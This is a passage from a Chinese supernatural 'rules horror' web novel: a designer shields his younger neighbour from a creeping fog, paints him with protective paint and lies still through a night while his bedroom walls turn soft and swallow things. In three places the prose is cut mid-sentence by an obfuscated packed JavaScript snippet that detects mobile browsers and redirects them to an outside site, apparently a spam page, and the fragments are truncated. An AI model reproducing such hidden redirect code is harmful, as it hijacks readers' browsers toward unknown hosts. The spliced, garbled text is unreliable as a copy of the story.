宁琤买的是市面上最大手机品牌的产品,看到这份说明书的人不在少数。因此,平日同事之间对话、和客户沟通,主要不是十万火急的情况,大家基本都会心照不宣地选择线上进行。 既然熟人打来电话的情况少之又少,那难得响铃的时候,对面又会是什么? 宁琤对这个问题的答案没兴趣,只知道自己作为一个普通上班族,实在不想平白无故重新掏钱买手机。 “我前面看新闻,”群里,同事还在积极提议,“说南山那边都下雪了!咱们要不要去看雪景?” “诶?这才几月,怎么就……” “好像不错,到时候还能滑雪。” 宁琤手指动了动,切进另一个不停跳消息的群聊。 “《如意公寓》?讲什么的,看名字挺莫名其妙啊。” “不知道,但看海报应该是真人片。” “真人?确定吗?” 短短几句话下来,已经开始有邻居心动了。 原因也简单,“这几年新上映的片子只有动画,我家俩小的是高兴了,大人就只能捡以前的旧电影看。” “嚯,你还有旧电影能看?我只听家里老人说过,他们年轻的时候看电影、电视剧都特别容易,打开电视就行。哪儿像是现在,电视上除了动画片就是新闻,一点意思都没有。” “你就知足吧,起码咱们榴花台还放新闻。我家有亲戚在其他市住,说他们那边连电视都不能装了。” “……” 嘀嘀嘀,嗒嗒嗒。 宁琤放下手机,深呼吸。 花了好一会儿时间,终于等到群里稍稍安静。 这时再看机子,屏幕已经变得五颜六色。宁琤习以为常地抽了纸巾,将上面的污渍擦干净。 《久安牌手机用户指南》第六条:保持手机维持基本洁净。如在使用(如接听电话)期间不慎污染,请在屏幕开始融化前完成清理。 以及后面的第七条:如手机屏幕已开始融化,请及时联系售后人员上门回收。 宁琤私下觉得应该还有第八条,“如来不及联系售后人员,请及时预约清洁团队,完成房屋日后清理工作”。 好吧,这个冷笑话并不好笑。 自娱自乐失败,宁琤沉着脸,尽量让自己忽略掉那些吵闹,把注意力全部放在电脑上。 这回终于一切顺利。等到完成图稿修改,屋内的光线已经暗了下去。再看时间,竟是五点出头了。 如果学校没再出事,这会儿距离闻淙下班还有半小时。 宁琤后知后觉:前面手机脏了后,自己除去擦净屏幕,也该洗个手。 同样是有水池的地方,厨房比盥洗室要近很多。他理所当然地选择了前者,在打开水龙头的时候,顺道看了一眼马路对面的学校方向。 宁琤的动作停顿下来,望着眼前已经开始若隐若现、将光明小学遮住的薄雾。 他依然能够看清校门的方位,却已经无法分辨上面的文字。兴许是雾气的缘故,“光明”两个字被完全遮挡、扭曲。看得久了,甚至让宁琤有种自己正在被什么注视的怪异感觉。 不,不只是“什么”。 那正注视他的存在细细密密、无孔不入。一点寒意从脊骨冒了出来,一点点顺着背部往上蔓延。终于到了脖颈,他猛地战栗了一下,随即伸手去拉窗子。 ——不知什么时候,窗户竟然被推开了。 无形的雾气从那缝隙中挤了起来,却到底没有更多侵入这间屋子。不知何时,池子里透明的水流又染上了浓烈的颜色。刺鼻气味紧随着灌入了宁琤鼻腔,同时沾染在【雾】上。【雾】跟着化作一片薄薄的红,开始反过来朝外间移动。 “呼哈……” 宁琤的手撑在池边,汗水顺着鬓角流淌下来,一样滴入池中。 他方才并不觉得用了多大力气,这会儿却有了显而易见的疲惫。而更让宁琤心烦的是,自己昨日明明刚刚处理过一遍【红锈】,眼下竟又要面对一个乱七八糟的池子。 都是闻淙的错。 他断然在心头下了定论。如果不是对方好好的学校宿舍不住,自说自话地搬到自家旁边,自己怎么可能遇到这么多麻烦? 哪怕是现在,他再怎么觉得【雾】出现得比预想中还要早,闻淙总应该不回明月湾了,对方早上的话也依然在他脑海里回荡。 “再见。” “哥,我晚上再来蹭饭。” “你等我。” “……等你做什么?”宁琤伸手抹了一下脸,再将手拿下来的时候,他记起什么,低头去看掌心湿漉漉的颜色。 得。这下子,除了洗池子他还得洗脸。 宁琤沉着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14573211|155253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸,开始了新一轮的收拾。 这次一切结束,已经超过光明小学的放学时间。按照宁琤的计算,闻淙应该差不多回到了明月湾。 偏偏楼道里还是静悄悄的,一点儿声音都没传进来。 他一定是并不在意的,甚至觉得闻淙不回来就是最好的结果,然而…… 将厨房打理得焕然一新后,宁琤走到门口柜前,从中拿出了那把已经破了洞的伞。 …… …… “妈妈,”雾气当中,一个带着童稚的孩童声音传了过来,“你闻到了吗?有一股好香的味道。” 随即是温柔的女声:“玖琦,走慢一点,看着路。” 孩童:“妈妈妈妈,这里有一个——耶,咱们把他带回家吧!” 又温柔女声:“不要乱动,这个哥哥好像是你陆仪姐姐的老师。” “老师?”前面的孩童似是意外,嘴巴里又嘀咕了句什么,只是距离毕竟太远,宁琤并没有听清。 倒是前面母女二人的对话,让他眼皮又开始跳个不停。 加快速度往前走了一点儿,那道熟悉嗓音的主人终于出现在宁琤视线里。正是前面他和闻淙一起拜访过的朱姐,而这回在她身边的,已经不是只比她低半头的小学五年级学生朱陆仪了,而是一个被她牵着手、只到朱姐腰高的小豆丁。 值得一提的是,小豆丁梳了和姐姐一样的发型。繁复而整齐的八股,被颜色艳丽的皮筋束成一节一节,盘踞在她脑袋上。 而在小豆丁身边的,是一个…… 倒在地上、衣服已经近乎湿透的闻淙。 看到对方的一瞬间,宁琤“咚咚”狂跃的心跳声倏忽平息。 他脚步未停,很快就到了母女身前。名字大约是“朱玖琦”的小豆丁抬着脑袋,好奇地看着她。朱姐则像是早就意识到了他的到来,朝着宁琤微微笑了一下:“又见面了。” 宁琤冷淡地看着她,手一松,出现愈多孔洞的伞落在不省人事的闻淙身上,将他上半身笼罩。 如此一来,周边的雾霎时开始肆无忌惮地扑向他。宁琤的衣服也开始被打湿,某种古怪的痒意很快从皮肤蔓延开来。他神色不动,依然平静地看着眼前的女人,问对方:“朱姐,你还记得这儿生活指南的第七条是什么吗?” 朱姐还是微笑:“‘远亲不如近邻’,怎么会忘呢?” 宁琤点点头,半蹲下身,将地上的闻淙扛了起来。 接着,他一只手拿着伞,一只手扶着闻淙,就这么离开了。 “妈妈,他们……” 背后,传来小女孩瘪嘴讲话的声音。 “嘘。”女人轻轻地说,“不是都说了吗,那个哥哥是你陆仪姐姐的老师。” 小女孩:“老师就不可以吃吗?” 女人:“那倒不是。不过,他应该还有一些特殊的地方,妈妈也没有看出来。” 小女孩:“哦——”语调里拖长,带着失望。 女人笑了笑,道:“妈妈给宝宝准备了其他好吃的,咱们回家吧。” 小女孩:“嗯嗯,好。” 母女二人说着话,同样往单元楼走去。 她们并没有和宁琤一样打伞。而白雾只是触碰到她们,便怪异地凝滞起来,又扑簌簌地落了下来。 再凑近去看,那掉落的哪里是“雾”?分明是一只一只的、微小却又五脏俱全的【虫】。 12.第四夜(1) 扛着一个比自己高、比自己宽的人上楼是什么体验? 虽然没有人问,宁琤依然觉得自己对这个问题很有发言权。虽然自己平日锻炼也算得当,闻淙同样算不上真的死沉,可爬楼的过程,还是让他出了一头汗。 尤其两人身体挨着身体,闻淙身上的【雾】不可避免地蔓延到宁琤身上。走着走着,他便觉得自己身上也变得又湿又沉。 不断有刺鼻的气味蔓延开,将他整个人都笼罩在里面。 “咚!” “呼……” 终于来到四楼。勉强打开屋门、将闻淙扔在沙发上,宁琤长长地吐出一口气。 他的头发不知何时也变得湿漉漉,贴着额头。萦绕在周边的气味依然在,不知什么时候才能消失。 宁琤在去洗澡和休息之间踟蹰了下,选择凑到闻淙面前,戳一戳他的脸。 闻淙的脸色已经不像此前倒在地下时那样苍白,仿佛屋内的温度也给了他三分暖意。眉头却还皱着,不知正在因什么事苦恼。 不知不觉,宁琤的动作由戳改为拽。 把闻淙的脸颊拉住——扯起来——变成一个颇为滑稽的表情。同时,宁琤低声念:“这么大的人了,做事一点脑子都不动。” 本来只是吐槽,然而说着说着,宁琤的怨气稍微大了点,拉拽的动作力度也加大了,有那么几分愤愤不平:“不老老实实待着,一拍脑袋就回来了,你倒是轻松,我……” 说着说着,他的声音变轻,看闻淙的表情也多了几分审视。 随后,宁琤缓缓站起身。 “闻淙?”他俯视着沙发上的青年。这时候,鼻翼之间刺鼻的气味竟是依然在不断变得浓烈。 屋子主人的语气愈是古怪。他似乎是不愿意相信,还要最后确认一遍:“……是你吗?” 一息过去,异变未生。 只是闻淙睁开了眼,低低地叫:“哥……” 早就醒了吧,还装呢。 宁琤心头腹诽,闻淙则是一脸虚弱。 宁琤面无表情地盯着他。闻淙被他盯着,表情微微凝滞一顺,手捂到胸口上加戏,“啊,啊,好难受。” 宁琤冷笑,闻淙又滞了片刻,接着却是继续发挥:“身上感觉特别重,明明什么都没有,结果跟压了一个大被子似的。哥,你说我是怎么了?” 宁琤“呵”了声,一针见血:“你是事儿太多了。” 闻淙眨眼,意识到自己这套并不吃香。 他在宁琤眼皮子底下思考了片刻,转换路线,一边往起爬一边问:“哥,我看外面天都黑了,时间不早了吧?你有没有吃晚饭,要不然我去给你做?” 宁琤再度冷笑:“你做饭?让我光喝粥?得了吧。” 闻淙眼巴巴:“哥,我今天一定改正错误。”说着话,视线缓缓上抬,落在宁琤发间。 他神色变化,宁琤留意到了,只是不曾在意。 “得了。”他不快地说,“你去洗澡,今天‘记得’提前烘衣服。” 讲到某两个字的时候,宁琤咬重了话音。 “晚饭我做。”他又道,“明天……” 闻淙:“哥?” 宁琤看他片刻,还是没有说出后面那句“就是周五了”。 这不算一周的结束,却的确是闻淙一礼拜工作的结束。对方接下来是个什么打算,是老老实实地回家待着,还是另外有其他念头? 想到闻淙这段时间留给自己的印象,宁琤心脏“突突”跳个不停。但他再看闻淙,又觉得对方此刻的样子实在是有碍观瞻。 “明早你也过来吃饭。”他转变了话音。说完,看闻淙的眼睛又亮了起来,重重点头,开心笑道:“好啊好啊,那就这么说定了。” 说着,不等宁琤催促,他便主动钻进浴室,嘴巴里还嘀嘀咕咕一些“我得快点搞完”“待会儿还能和哥多待待”之类的话。 在意识到自己笑了的时候,宁琤快速收敛神色,臭着脸去了厨房。 冰箱里食材倒是足够,但在做什么吃食上他有点犯难。 思来想去,对着前一晚包馄饨剩下的肉馅儿,他来了灵感。 闻淙出来的时候,宁琤正在炸丸子。锅子里“滋啦滋啦”响着油,已经有半盘丸子活蹦乱跳地待在盘子中。闻淙看到了,夸张地“哇”了声,夸宁琤:“哥,你还会做这个呢?手艺也太好了吧!” 宁琤侧头瞥他,明明一句话都没说,闻淙还是立刻给自己解释:“我真的记得烘干衣服了!但现在洗都没洗完呢,这实在不能怪我啊哥!” 他就差举起两只手证明清白了,却见宁琤摇了摇头,“晚点儿穿也没事,先吃饭吧。” 虽然只有两个人,可上了桌的晚餐依然说得上丰盛。 炸丸子是一道,宁琤从邻居哪儿买来的凉拌菜是一道,另外还有粥。 肉糜粥。 闻淙小声问他:“哥,你怎么准备了这么多啊!咱们能吃完吗?” 宁琤说:“那你少吃点,多给我留点。” 闻淙:“……” 闻淙:“哥的手艺,我还是得好好享受一下的!不过——”在宁琤的眼神里,他快速说出了下一句话,“要是有点儿清爽的素菜或者水果就好了。” 宁琤说:“水果?就像你礼拜一来的时候,给我那袋苹果?” 闻淙露出点心虚:“我当时确实不知道那个苹果【变质过期】了。主要当时我正琢磨租房子的事情呢,又不知道上哪儿能联系到合适的房东,想着在小区转转吧,说不定能看见小广告。结果走着走着,被人给盯上了。硬给我推销,不买就不让走,唉。” 竟然还有这么一出?宁琤终于觉得意外起来。他仔细看着闻淙的神色,确认青年这回没有遗漏什么信息,这才道:“那你给我也好。”否则以闻淙那会儿初来乍到的状态,要是弄不清要怎么处理,事情怕是麻烦。” 闻淙抓了抓头发,道:“我是想着哥你肯定知道怎么办,不过其实也有点不好受。” 宁琤似笑非笑:“不好受什么?” 闻淙道:“嗯……看来住在这儿很难吃到新鲜水果。” 这就是在胡扯了。宁琤把筷子在碗的边缘敲了敲,结束对话:“行了,快点吃吧。吃完还有事。” 闻淙立刻应:“对对!待会儿还要扔垃圾呢,哥,今天晚上——” 宁琤打断了对方的毛遂自荐,“今晚不用扔。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14597662|155253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >闻淙一愣,“是吗?” 宁琤漫不经心地瞥一眼窗外。雾色愈浓,近乎将视野当中的一切吞噬,入眼的只有一片灰白色。 “对。”他说了一句,又补充:“你明天还要上班,所以今晚也要好好睡觉。一觉睡到天亮。” 闻淙喉结滚动一下,应了声“好”。 这下子,餐桌上真正只剩下两人进食的声音。闻淙吃得的确没有宁琤多,但真算起来也不少。 饭后,宁琤没有阻止闻淙洗碗的动作。对方忙碌的时候,他溜达溜达回了卧室。再出来时,手上拎了一个小小的桶。 “坐下。”他安排刚从厨房里探出脑袋的闻淙。说完这句后,想了想,“算了,你还是站着吧。唔,去浴室。” 闻淙一脸莫名:“哥,你这是……你拎着的这个是什么?” 他终于留意到了宁琤正拿着的桶,脸上神色霎时变得紧张,三步并做两步地朝宁琤冲了过来。宁琤差点被他晃晕,“你松手!松手!” 闻淙还是不愿意松开,好在动作到底柔和了些,“哥,你从哪儿搞来的这个?” 宁琤撇嘴:“是库存。我想着可能有用,就留了点。” 闻淙:“真的?哥,哥,你别骗我。” 宁琤:“骗你做什么?赶紧走,别浪费时间了。” 闻淙忧心忡忡,却不得不被宁琤催着赶去浴室。 宁琤让他站在洗澡的区域,随即挽起袖子,打开桶盖,又拿刷子蘸起里面的东西。 原来那正是一桶油漆。宁琤一边搅弄,一边心想,其实刚才应该给闻淙说这是公司福利。虽然自己作为室内设计吧,正常情况下是轮不到刷漆的活儿的。可上班的公司还是太小了,哪天工人师傅有点儿事、来不了,底下的员工亲身上阵不是很正常? 但这话真说起来,牵扯可又多了,或许眼下的情况也不错。 搅了一阵后,宁琤握着刷子,轻声说了句“不要动”,随即就开始在闻淙身上刷起来。 毕竟是冰冷的东西,闻淙手臂上快速起了一层鸡皮疙瘩,有点难受地叫:“哥,这个一定得弄吗吗?” “对。”宁琤敷衍他,“这是防水漆。你今天回来搞得乱七八糟一身水,明天怎么办?……我看这架势,没准到了明天早上,雾还是消不掉。” 好像是这个道理。闻淙接受了片刻,随即又惊慌起来:“哥,哥,你拉我浴巾做什么?” 宁琤:“搞清楚,我家的东西。” 闻淙被生生打断情绪,“是你家的倒是没错,等等等等,啊哥!!!” 青年惨叫,宁琤:“闭嘴,安静。” 闻淙苦着脸,嘤嘤嘤。 宁琤只觉得他吵闹,一点儿都不想理。 他继续专注干活儿。奇妙的是,原本颜色艳丽的油漆在接触到闻淙的身体之后,竟开始一点点变得透明。等到宁琤刷完最后一下,闻淙身上大部分地方已经恢复皮肤本来的颜色。 在青年稀奇地左看右看、左扭右扭的时候,宁琤看着桶里还剩下的一点儿油漆沉吟。 就这么些了,留着也是浪费。 “你把衣服穿上,”他眼皮都不眨地和闻淙吩咐,“给你衣服上也刷点。” 13.第四夜(2) “哦……” 最羞耻的场面已经过去了,闻淙这回十分配合。展开双手,尽量让宁琤能够方便地刷到自己胸膛、背心等等薄弱的地方。 宁琤对他的识趣十分满意。等到手里的桶空了,他站起来,仔细观察闻淙身上那些五彩斑斓。这时候,闻淙仿佛发现了什么神奇的事,兴冲冲道:“哥你看!这次油漆没有消……呃。” 在他话音出口的刹那,油漆颜色还是又一次开始了。 闻淙后知后觉,小声碎碎念:“啊,原来是能变的吗?” 那当然了。宁琤在心里回应了句,却并不打算再和闻淙纠缠这些没用的话题。盘算着今晚要做的事已经结束了,他便开始赶人:“行了,快回去休息。记得我之前说过什么吗?” 闻淙开始冥思苦想。 想着想着,看宁琤的脸色越来越黑,他终于急匆匆道:“今晚好好睡,一觉到天亮!” 这话出来,宁琤的表情终于和缓许多。闻淙又笑眯眯道:“那哥,咱们明天见。” 宁琤心不在焉:“对。”不过明早见过就行了。明晚的话,最好别让我看到你。 闻淙却不知道宁琤腹诽什么。他正低着脑袋,好奇地用掌心在自己胸膛摸摸,顺道嘀咕:“好神奇,一点感觉都没有。” 宁琤瞥他,“感觉?你想要什么感觉,去‘欢乐谷’当漆人NPC那种吗?” 闻淙更好奇了,“哥,欢乐谷是什么地方?听起来很好玩。” 宁琤本来是不想理他的,但对上闻淙的目光,他沉默片刻,还是解释:“是一个……官方不太推荐去浏览的地方,不过有挺多旅行社和那边签了协议吧,碰到来溜花旅行的人,总要给他们推荐一下。你要是好奇的话,我今晚在家里找找,说不定有那边的游客指南。” 闻淙眨眼,“你过去吗?” 宁琤摇摇头,“不是,只是走在路上被发的。”这之后,他把闻淙的肩膀扶住,将青年掰向一边,“走了。” 闻淙慢吞吞:“哦。” 他是很不愿意离开的。然而宁琤十分坚决,完全不给闻淙找借口再待待的时间。 等终于将青年关到门外,宁琤松了一口气。按说他终于能去做自己的事了,然而离开门廊前,他看到猫眼,鬼使神差地凑上去看了一眼。 ……该说并不出乎意料吗,闻淙竟然还在。 青年没有一点儿回到自家的意思,而是先低头摸摸自己胸口,像是想要从那里找出什么,偏偏无功而返。 他的神色当中出现了深深的、清晰的遗憾,又有些难言怅然。宁琤把这一切收入眼中,喉结滚动了一下,忽地意识到,不知不觉的时候,自己的手已经握住了门把。 怎么会这样? 他仿佛被烫到了一般,赶忙把手收了回去。而这时候,外间安安静静的,依然没有响起邻居那扇门打开的声音。 两个人相对沉默,只是彼此无法看见。 宁琤心想,他总不可能在这里整整一晚……话虽如此,可想到闻淙一直以来的表现,他又有点拿不准了。 正是进退不得的时候,手臂、身体上的怪异感觉吸引了宁琤的注意力。 他甩了甩胳膊,看到许多白色的、像是盐粒一样的小东西从自己方才扶着闻淙那一边的身体上落下来。 这场景属实有点恶心。宁琤后退一步,最后看了眼门外闻淙的方向,随即果断转回浴室洗澡。 闻淙已经很大了。就算两个人存在客观的年级差距,他也不能一直把对方当做需要照顾的弟弟。在并不涉及安全问题的时候,对方做出的选择,自己实在没有必要干涉。 不过,话说回来,“安全问题”…… 宁琤:“……” 今晚实在不像是能安生的样子。 不过,就算自己当真没有猜错,出乱子也会是后半夜的事儿了。 他暂且压下顾虑,从洗手池上的柜子里取出一个浴帽,仔仔细细地把所有头发裹住,这才进了淋浴区。 热水落下,很快重走宁琤身上的压力和疲惫。那些细小的白色颗粒跟着落了下来,被水流裹挟着一并落入下水道里。 一点微末的红跟着从下水道口弥漫出来,只是很快又消失了。宁琤挑起眼皮的时候,入眼的还是干干净净的地面。 他不知是笑还是其他,轻轻“嗤”了一声,重新闭上眼。 直到完全洗干净身体、擦拭过水分,浴帽才被从脑袋上摘下来。 按说一切顺利,偏偏上头沾着的一点黑色让宁琤扔东西的手停顿下来,颇为惊疑地看着手中那篇薄薄的……大约并不是塑料,而是某种特殊物质。 物管会出品的各种东西总是这样,神神秘秘,却也是小区居民生活安全的重要保障。如果宁琤没记错,这个浴帽的介绍里就写着,戴上它的时候即便遇到【红锈】流出来也不会有大问题,是大伙儿洗澡的安心伴侣。 可在宁琤看,事情就有点麻烦了。 他保持着拿浴帽的姿势停顿片刻,随后将东西丢掉,自己认命地来到洗手池前。 不一会儿,小小的池子已经被水流注满。加上底部的暗色,低下头,就能看到自己的影子。 宁琤抓紧时间,检查自己的头发。 如果闻淙在,青年会发现他发间的斑驳又多了点。好在总得来说还是无碍的,确定自己头发大体还是黑色后,宁琤大大地松了一口气,直起身来。 水池中,他的影子却还维持着原先的姿势。在宁琤蹲下去整理垃圾袋的时候,露出一个若有若无、带着讽意的笑容来。 宁琤对此毫无所觉。虽然今晚丢不了垃圾,但他还是把袋子单独拎了出来,又朝外面套了一层厚实很多——不用说,也是物管会出品——的特殊情况备用袋,这才准备离开。 不过,走之前,他又记起什么,朝水池看了一眼。 水面平静,只映出上方的柜子和天花板,此外再没有更多动静。 宁琤唇角勾起,指尖搅动一下,上头登时泛起涟漪来。接着,伴随一阵“汩汩”的声响,水完全流入下水道。某个在其中挣扎的影子本想探出脑袋、发挥作用,偏偏不等【它】真正这么做,身体便已经被冲散。 这回是真的可以睡觉了。 宁琤把自己挪到床上,扯上被子,闭上双眼。 他已经很久没有做过梦了,夜间脑海中总是一片清净。可今晚,大约是早前受了闻淙的吵闹,这会儿也无法完全安宁。一时想到“那家伙这会儿总该回家了”,一时又想“邻居果然是种麻烦的关系”。 尤其是明月湾小区这样的老式单元楼里,一户人家与一户人家的关系 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14612224|155253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 总显得亲近。闻淙前头说,他年幼时就曾被父母托付给隔壁的叔叔阿姨照料。宁琤呢,也照顾过旁边人家惹人烦的小鬼。 好吧,小鬼不是时时刻刻都让人心烦的。宁琤承认,对方也有让人觉得可爱的时候。会在他做作业时搬着板凳坐在一边,眼巴巴地数着哥哥不能陪自己玩的时间。会开开心心地掏出自己的奖状,炫耀给宁琤看。 “我肯定也能考上哥你的学校。”小鬼说,“到时候咱们就能一起上学啦。” 宁琤:“……” 宁琤:“那时候我早就毕业了,笨蛋。” 后来烦人的笨蛋小鬼变成了烦人的哭包小鬼,在面前有其他人的时候还要硬憋着不让眼泪掉下来。还是宁琤把人从角落里揪起来,才看到对方眼泪啪嗒啪嗒地掉下来。 他呼噜一把对方的脑袋,说:“别哭了,给你做馄饨吃。” 小鬼的眼泪更加汹涌:“你、你明知道我讨厌吃馄饨。” “是啊。”宁琤幽幽地说,“一群人费心费力地找你,你倒好,躲在这儿哭个没完。都这样了还想吃好的?去梦里吃比较快。” 小鬼无言以对,却还是乖乖跟在宁琤身后,进了他家的门。 “哥,”他和宁琤说,“你……最近还好吗?” 宁琤没有回头,只是挽起袖子,在柜子里挑挑拣拣,想找出没有落太多灰的餐具。 最后失败了。他一边把蘸了水的抹布扔给小鬼,打发对方去擦桌子,一边拿手机APP线上买菜。 “有什么不好?”付完款后,宁琤随口说,“非得和你一样,闹得大伙儿都不安宁才行啊?” 小鬼沉默。宁琤用余光看他,半晌后,放下手机轻声说:“他们肯定也希望我过得好一点,才能放心地走啊。” 小鬼勉强笑一下,说:“哥,你是不是真的觉得我很……” “没有。”宁琤打断他,“再胡思乱想就只有烂掉的馄饨吃。” 小鬼嘀咕:“嗯?难道本来还有其他吃的吗?” 已经完全掌握将馄饨煮好技巧的宁琤眼睛眯起一点。小鬼察觉不妙,立刻改了口:“那我以后,咳咳,以后还能到你家里蹭饭吗?” “也不是不行。”宁琤不咸不淡道,“但给我offer的那家公司有食堂,里面的饭好像挺不错,所以我上班的时候你也都在学校吃食堂,周末再过来吃饭。” 小鬼终于一扫脸上的愁色,开心地朝他笑了:“好,就这么说定了!” …… …… 这些都是七八年前的事情了。 …… …… 再后来,两个人分开了很长时间。 小鬼又经历了什么、遇见了什么,宁琤是一概不知道的。 他烦躁地在被子里转了一圈,想知道自己怎么到这会儿还没睡着。可不等想到一个结果,便嗅到了淡淡的酸臭味。 宁琤心下一凛,眼皮微微挑开一点,却是不曾真正睁大,仅仅露出一条能让他看到屋中情况的缝隙。 这就够了。 借着模糊的、透过雾气照入窗子里的月光,宁琤看到自家的墙壁在缓缓发生变化。从正常状况下的冰冷坚硬,到此刻那般带出怪异的柔软。床头陷了进去,边缘挂着浊液。 酸臭味比刚才更浓郁了些。 14.第五天(1) 这是个格外安静的夜晚,于是墙壁发出来的、“咕叽咕叽”的动静就愈发明显。 可除了最初时悄然看过外,接下来的数个小时,宁琤都紧闭着眼睛。 哪怕他耳畔的声响越来越大、酸臭味也越来越清晰; 哪怕到了后半夜,他的床铺开始晃动,不远处的小桌旁传来沉闷的“咚”响…… 有什么落在了地上,那“咕叽”声登时更大了,像是某种吞咽。 宁琤依然没有任何反应,保持着绵长的呼吸,一直到了天亮。 他照旧是被闹铃唤醒的。新的一天,薄薄的阳光已经落在屋子里。宁琤坐起来一看,眉头便皱了起来。 “怎么搞这么乱?”他不太高兴地念叨,“东西撒得到处都是……呃。” 怎么还有本书正卡在地上,上一半在空气里,下一半已经没入地板、不见踪迹? 宁琤无语了半分钟,眼看每日放水时间已经要到了,他干脆选择眼不见心不烦地下床到盥洗室。 好消息是【红锈】没出来作妖,坏消息是外间的雾色竟然仍在。 虽然比昨晚淡了不少,可宁琤完全没法确认,这是因为太阳出来了、有什么只存在于白天的东西将其驱散大半,还是昨晚【明月湾】在和【雾】的斗争中取得少许进展。 他眼神动了动,一边刷牙一边打开了业主群。如果没有记错,昨天小区里的楼栋数是18,而现在—— 嗯? 物管会竟然已经发出通知了,说秋冬季节到来后,趁着草木本就枯落,他们请了人来对整个小区进行灭鼠灭虫工作。 那位勤勤恳恳的袁代表还解释,其实夏天那会儿他们就接到不少业主反应小区里有老鼠了,只是市面上的灭鼠灵基本都会对植物造成污染,所以才把工作留到现在。 “所以,大家今天最好还是不要出门。”她总结,“等到灭杀工作结束了,我们也会在群里通知的。” 宁琤“咕噜噜”地漱过口,将水吐干净了,在群里问:“大概要等到什么时候?” 财袁广进:“今天下午吧。五六点,应该不会更晚了。” 差不多就是隔壁光明小学放学的时间。 宁琤很难不把二者联系在一起。据他所知,榴花市现存的、规模大一点的小区中都存在物管会这样的业主组织,而同样在其中挂职的社区、街道工作人员往往会将上级那边得到的消息及时告诉他们,通过这种方法完成【清醒】的人类对榴花市整体情况的把控,以及对其他人类的保护。 有了物管会的通知,不光是明月湾,其他地方的普通人类小孩今天都不会去学校了。 既然如此,闻淙待会儿要面对的,恐怕…… 等等,闻淙呢? 意识到自己漏了什么的时候,宁琤揉了揉眉心。 他快步去到自家门口。拉开门一看,闻淙果然已经在外面溜溜达达了。见宁琤出来了,他立刻灿烂笑道:“哥!早上好。” 宁琤随意地“嗯”了一声,目光在这位邻居身上上下扫过。 别说,闻淙的状态还真不错。眼下半点青黑都没有,一看就是昨天晚上睡得很好。 但宁琤在让开位置、把人提溜进来的时候,还是问了对方一句。 闻淙绽开一个露了八颗牙齿的标准笑容:“哥你不是说了吗,让我好好睡,那我肯定听你的。” 这应该是实话。宁琤点了下头,开始琢磨早晨又要吃什么东西。 丸子太复杂了,他不打算再做。可冰箱里的肉的确还有很多,既然这样…… “早上吃椒麻肉丝,”他说,“我去准备这个,你煮一下粥。” “这么丰盛。”闻淙喜滋滋地跟了上来,“我就知道在哥这儿能吃到好东西。” 宁琤没理他。 闻淙开始东张西望。看到客厅里掉在地板上的零零碎碎时,他明显惊讶了一下,却还是继续说着:“其实昨晚地震……唔,是地震吧?动静还真挺大。但我想到哥你就在隔壁,四舍五入咱们就是一起睡的,就觉得特别安心。” 宁琤:“……” 宁琤有股强烈地揉眉心的冲动。他一边给锅子里接水,准备待会儿煮肉,一边幽幽地看旁边的闻淙。昨晚忍下去的话这会儿还是讲出来了,是:“你很开心吗?” 闻淙立刻警觉起来,回答:“也没有。就是……想到哥亲手给我做饭,就特别高兴。” 宁琤沉默一下,扭过头,又去看窗外的雾。 他轻轻地与闻淙说:“你没加小区的群,应该不知道。榴花市已经发了统一通知,让大家今天不要出门。 “不过,我想,应该还是有些在意孩子学习进度的家长送小孩到学校。”一顿,“比如,咱们之前见过的那位朱姐。” 闻淙一愣:“朱陆仪啊。” 宁琤看着青年陷入沉思的模样,摇摇头,到底不曾催促对方继续干活儿。 煮粥只是小事,真正重要的是闻淙今天在学校都会面对什么。 宁琤顺手淘了米,同时问:“你们之前从朱姐家小孩那儿问到了她们【游戏】的情况,周三又把事情给政教主任说了,后面呢?还有什么进展。” 闻淙回过身,回答:“我已经基本知道那个没到学校的小孩是什么情况了,就是不太确定谁才是淘汰他的那个‘狼’。昨天其实也找到一个,不过应该只是个幌子。 “本来还想着今天去了就要再找,但既然哥你说今天有很多孩子本来就不会去学校,那我觉得找真‘狼’应该会变得很简单。这种喜欢在学校里做游戏的小孩,就算是这种日子,应该也会自动到校。 “——哎,哥!你怎么这就把锅架上了!” 跑神的闻淙突然发现自己的活儿被宁琤干了,立刻抓耳挠腮起来。 前面还一副稳重成熟的样子,这会儿上蹿下跳,“哥你还有没有其他活儿给我干。”“哥我煮粥还是煮挺好的。”“哥哥哥哥哥哥……” 如果是平常,宁琤应该会给他说一句“闭嘴”。但今天,他只是安静地做着手上的事。 等到闻淙自己安静下来了,宁琤才道:“别说了。你最后一次来蹭饭,我稍微多做一点也没什么。” 闻淙愣住,不太自然地扯起唇角:“怎么就最后一次啊?哥,你是不是特别不乐意 